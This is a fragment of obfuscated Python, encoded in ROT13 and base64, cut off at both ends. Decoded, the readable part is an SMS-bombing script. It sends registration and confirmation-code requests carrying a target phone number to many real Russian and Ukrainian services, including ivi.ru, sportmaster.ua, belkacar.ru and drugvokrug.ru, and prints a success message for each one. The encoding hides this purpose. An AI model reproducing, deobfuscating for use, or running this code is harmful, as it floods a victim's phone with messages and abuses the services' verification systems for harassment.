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' god = 'AgIGhlYWRlcnM9aGVhZCwNCiAgICAgICAgICAgICAgICB0aW1lb3V0PTIsDQogICAgICAgICAgICApDQogICAgICAgICAgICBwcmludChuaWNlICsgIkJlbGthQ2FyIHNlbnQgc3VjY2Vzc2Z1bGx5IdC+ISIgKyBTdHlsZS5SRVNFVF9BTEwpDQogICAgICAgIGV4Y2VwdDoNCiAgICAgICAgICAgIHByaW50KGZhaWwgKyAiQmVsa2FDYXIgRmFpbGVkIdC+0L4iICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICB0cnk6DQogICAgICAgICAgICByZXF1ZXN0cy5wb3N0KA0KICAgICAgICAgICAgICAgICJodHRwczovL2FwaS5pdmkucnUvbW9iaWxlYXBpL3VzZXIvcmVnaXN0ZXIvcGhvbmUvdjYiLA0KICAgICAgICAgICAgICAgIGRhdGE9eyJwaG9uZSI6IHBob25lfSwNCiAgICAgICAgICAgICAgICBoZWFkZXJzPWhlYWQsDQogICAgICAgICAgICAgICAgdGltZW91dD0yLA0KICAgICAgICAgICAgKQ0KICAgICAgICAgICAgcHJpbnQobmljZSArICJJVkkgc2VudCBzdWNjZXNzZnVsbHkh0L4hIiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgZXhjZXB0Og0KICAgICAgICAgICAgcHJpbnQoZmFpbCArICJJVkkgRmFpbGVkIdC+0L4iICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICB0cnk6DQogICAgICAgICAgICByZXF1ZXN0cy5wb3N0KA0KICAgICAgICAgICAgICAgICJodHRwczovL3d3dy5zcG9ydG1hc3Rlci51YS8iLA0KICAgICAgICAgICAgICAgIHBhcmFtcz17DQogICAgICAgICAgICAgICAgICAgICJtb2R1bGUiOiAidXNlcnMiLA0KICAgICAgICAgICAgICAgICAgICAiYWN0aW9uIjogIlNlbmRTTVNSZWciLA0KICAgICAgICAgICAgICAgICAgICAicGhvbmUiOiBwaG9uZQ0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgaGVhZGVycz1oZWFkLA0KICAgICAgICAgICAgICAgIHRpbWVvdXQ9MiwNCiAgICAgICAgICAgICkNCiAgICAgICAgICAgIHJlcXVlc3RzLnBvc3QoDQogICAgICAgICAgICAgICAgImh0dHBzOi8vbGsuYmVsa2FjYXIucnUvZ2V0LWNvbmZpcm1hdGlvbi1jb2RlIiwNCiAgICAgICAgICAgICAgICBkYXRhPXsicGhvbmUiOiAiKyIgKyBwaG9uZX0sDQogICAgICAgICAgICAgICAgaGVhZGVycz1oZWFkLA0KICAgICAgICAgICAgICAgIHRpbWVvdXQ9MiwNCiAgICAgICAgICAgICkNCiAgICAgICAgICAgIHByaW50KG5pY2UgKyAiU3BvcnRNYXN0ZXIsIEJlbGthQ2FyIHNlbnQgc3VjY2Vzc2Z1bGx5IdC+ISIgKw0KICAgICAgICAgICAgICAgICAgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICBleGNlcHQ6DQogICAgICAgICAgICBwcmludChmYWlsICsgIlNwb3J0TWFzdGVyIEZhaWxlZCHQvtC+IiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgdHJ5Og0KICAgICAgICAgICAgcmVxdWVzdHMucG9zdCgNCiAgICAgICAgICAgICAgICAiaHR0cHM6Ly9zZWN1cmUub25saW5lLnVhL2FqYXgvY2hlY2tfcGhvbmUvIiwNCiAgICAgICAgICAgICAgICBwYXJhbXM9eyJyZWdfcGhvbmUiOiBwaG9uZX0sDQogICAgICAgICAgICAgICAgaGVhZGVycz1oZWFkLA0KICAgICAgICAgICAgICAgIHRpbWVvdXQ9MiwNCiAgICAgICAgICAgICkNCiAgICAgICAgICAgIHByaW50KG5pY2UgKyAiU2VjdXJlT25saW5lIHNlbnQgc3VjY2Vzc2Z1bGx5IdC+ISIgKyBTdHlsZS5SRVNFVF9BTEwpDQogICAgICAgIGV4Y2VwdDoNCiAgICAgICAgICAgIHByaW50KGZhaWwgKyAiU2VjdXJlT25saW5lIEZhaWxlZCHQvtC+IiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgdHJ5Og0KICAgICAgICAgICAgcmVxdWVzdHMucG9zdCgNCiAgICAgICAgICAgICAgICAiaHR0cHM6Ly93d3cubmwudWEiLA0KICAgICAgICAgICAgICAgIGRhdGE9ew0KICAgICAgICAgICAgICAgICAgICAiY29tcG9uZW50IjogImJ4bWFrZXIuYXV0aHVzZXJwaG9uZS5sb2dpbiIsDQogICAgICAgICAgICAgICAgICAgICJzZXNzaWQiOiAiYmY3MGRiOTUxZjU0YjgzNzc0OGY2OWI3NWE2MWRlYjQiLA0KICAgICAgICAgICAgICAgICAgICAibWV0aG9kIjogInNlbmRDb2RlIiwNCiAgICAgICAgICAgICAgICAgICAgInBob25lIjogcGhvbmUsDQogICAgICAgICAgICAgICAgICAgICJyZWdpc3RyYXRpb24iOiAiTiIsDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICBoZWFkZXJzPWhlYWQsDQogICAgICAgICAgICAgICAgdGltZW91dD0yLA0KICAgICAgICAgICAgKQ0KICAgICAgICAgICAgcHJpbnQobmljZSArICJOb3ZhTGluaXlhIHNlbnQgc3VjY2Vzc2Z1bGx5IdC+ISIgKyBTdHlsZS5SRVNFVF9BTEwpDQogICAgICAgIGV4Y2VwdDoNCiAgICAgICAgICAgIHByaW50KGZhaWwgKyAiTm92YUxpbml5YSBGYWlsZWQh0L7QviIgKyBTdHlsZS5SRVNFVF9BTEwpDQogICAgICAgIHRyeToNCiAgICAgICAgICAgIHJlcXVlc3RzLnBvc3QoDQogICAgICAgICAgICAgICAgImh0dHBzOi8vbW9iaWxlcGxhbmV0LnVhL3JlZ2lzdGVyIiwNCiAgICAgICAgICAgICAgICBkYXRhPXsNCiAgICAgICAgICAgICAgICAgICAgImtsaWVudF9uYW1lIjogX25hbWUsDQogICAgICAgICAgICAgICAgICAgICJrbGllbnRfcGhvbmUiOiAiKyIgKyBwaG9uZSwNCiAgICAgICAgICAgICAgICAgICAgImtsaWVudF9lbWFpbCI6IF9lbWFpbCwNCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgIGhlYWRlcnM9aGVhZCwNCiAgICAgICAgICAgICAgICB0aW1lb3V0PTIsDQogICAgICAgICAgICApDQogICAgICAgICAgICBwcmludChuaWNlICsgIk1QbGFuZXQgc2VudCBzdWNjZXNzZnVsbHkh0L4hIiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgZXhjZXB0Og0KICAgICAgICAgICAgcHJpbnQoZmFpbCArICJNUGxhbmV0IEZhaWxlZCHQvtC+IiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgdHJ5Og0KICAgICAgICAgICAgcmVxdWVzdHMucG9zdCgNCiAgICAgICAgICAgICAgICAiaHR0cHM6Ly9hcGkuZGVsaXRpbWUucnUvYXBpL3YyL3NpZ251cCIsDQogICAgICAgICAgICAgICAgZGF0YT17DQogICAgICAgICAgICAgICAgICAgICJTaWdudXBGb3JtW3VzZXJuYW1lXSI6IHBob25lLA0KICAgICAgICAgICAgICAgICAgICAiU2lnbnVwRm9ybVtkZXZpY2VfdHlwZV0iOiAzDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICBoZWFkZXJzPWhlYWQsDQogICAgICAgICAgICAgICAgdGltZW91dD0yLA0KICAgICAgICAgICAgKQ0KICAgICAgICAgICAgcHJpbnQobmljZSArICJERUxJTU9CSUwgc2VudCBzdWNjZXNzZnVsbHkh0L4hIiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgZXhjZXB0Og0KICAgICAgICAgICAgcHJpbnQoZmFpbCArICJERUxJTU9CSUwgRmFpbGVkIdC+0L4iICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICB0cnk6DQogICAgICAgICAgICByZXF1ZXN0cy5wb3N0KA0KICAgICAgICAgICAgICAgICJodHRwczovL2FwdGVrYTM2Ni5ydS9sb2dpbi9yZWdpc3Rlci9zbXMvc2VuZCIsDQogICAgICAgICAgICAgICAgZGF0YT17InBob25lIjogcGhvbmV9LA0KICAgICAgICAgICAgICAgIGhlYWRlcnM9aGVhZCwNCiAgICAgICAgICAgICAgICB0aW1lb3V0PTIsDQogICAgICAgICAgICApDQogICAgICAgICAgICBwcmludChuaWNlICsgIkFwdGVrYSAzNjYgc2VudCBzdWNjZXNzZnVsbHkh0L4hIiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgZXhjZXB0Og0KICAgICAgICAgICAgcHJpbnQoZmFpbCArICJBcHRla2EgMzY2IEZhaWxlZCHQvtC+IiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgdHJ5Og0KICAgICAgICAgICAgcmVxdWVzdHMucG9zdCgNCiAgICAgICAgICAgICAgICAiaHR0cHM6Ly9iZWxrYWNhci5ydS9nZXQtY29uZmlybWF0aW9uLWNvZGUiLA0KICAgICAgICAgICAgICAgIGRhdGE9eyJwaG9uZSI6IHBob25lfSwNCiAgICAgICAgICAgICAgICBoZWFkZXJzPWhlYWQsDQogICAgICAgICAgICAgICAgdGltZW91dD0yLA0KICAgICAgICAgICAgKQ0KICAgICAgICAgICAgcHJpbnQobmljZSArICJCZWxrYWNhciBzZW50IHN1Y2Nlc3NmdWxseSHQviEiICsgU3R5bGUuUkVTRVRfQUxMKQ0KICAgICAgICBleGNlcHQ6DQogICAgICAgICAgICBwcmludChmYWlsICsgIkJlbGthY2FyIEZhaWxlZCHQvtC+IiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgdHJ5Og0KICAgICAgICAgICAgcmVxdWVzdHMucG9zdCgNCiAgICAgICAgICAgICAgICAiaHR0cHM6Ly9kcnVndm9rcnVnLnJ1L3NpdGVBY3Rpb25zL3Byb2Nlc3NTbXMuaHRtbCIsDQogICAgICAgICAgICAgICAgZGF0YT17ImNlbGwiOiBwaG9uZX0sDQogICAgICAgICAgICAgICAgaGVhZGVycz1oZWFkLA0KICAgICAgICAgICAgICAgIHRpbWVvdXQ9MiwNCiAgICAgICAgICAgICkNCiAgICAgICAgICAgIHByaW50KG5pY2UgKyAi0JTRgNGD0LMg0JLQvtC60YDRg9CzIHNlbnQgc3VjY2Vzc2Z1bGx5IdC+ISIgKyBTdHlsZS5SRVNFVF9BTEwpDQogICAgICAgICAgICBwcmludChuaWNlICsgIlJ1VG9yIHNlbnQgc3VjY2Vzc2Z1bGx5IdC+ISIpDQogICAgICAgIGV4Y2VwdDoNCiAgICAgICAgICAgIHByaW50KGZhaWwgKyAi0JTRgNGD0LMg0JLQvtC60YDRg9CzIEZhaWxlZCHQvtC+IiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgdHJ5Og0KICAgICAgICAgICAgcmVxdWVzdHMucG9zdCgNCiAgICAgICAgICAgICAgICAiaHR0cHM6Ly9hcGkuZW5uZXJnaWlhLmNvbS9hdXRoL2FwaS9kZXZlbG9wbWVudC9sb3IiLA0KICAgICAgICAgICAgICAgIGpzb249ew0KICAgICAgICAgICAgICAgICAgICAicmVmZXJyZXIiOiAiZW5uZXJnaWlhIiwNCiAgICAgICAgICAgICAgICAgICAgInBob25lIjogIisiICsgcGhvbmUNCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgIGhlYWRlcnM9aGVhZCwNCiAgICAgICAgICAgICAgICB0aW1lb3V0PTIsDQogICAgICAgICAgICApDQogICAgICAgICAgICBwcmludChuaWNlICsgIkVuZXJnaWlhIG/RgtC/0YDQsNCy0LvQtdC90L4hIiArIFN0eWxlLlJFU0VUX0FMTCkNCiAgICAgICAgZXhjZXB0Og0KICAgICAgICAgICAgcHJpbnQoZmFpbCArICJFbmVyZ2lpYSBGYWlsZWQh0L7QviIgKyBTdHlsZS5SRVNFVF9BTEwpDQogICAgICAgIHRyeToNCiAgICAgICAgICAgIHJlcXVlc3RzLmdldCgNCiAgICAgICAgICAgICAgICAiaHR0cHM6Ly9mdW5kYXlzaG9wLmNvbS9ydS9ydS9zZWN1cmVkL215YWNjb3VudC9teWNsdWJjYXJkL3Jlc3VsdENsdWJDYXJkLmp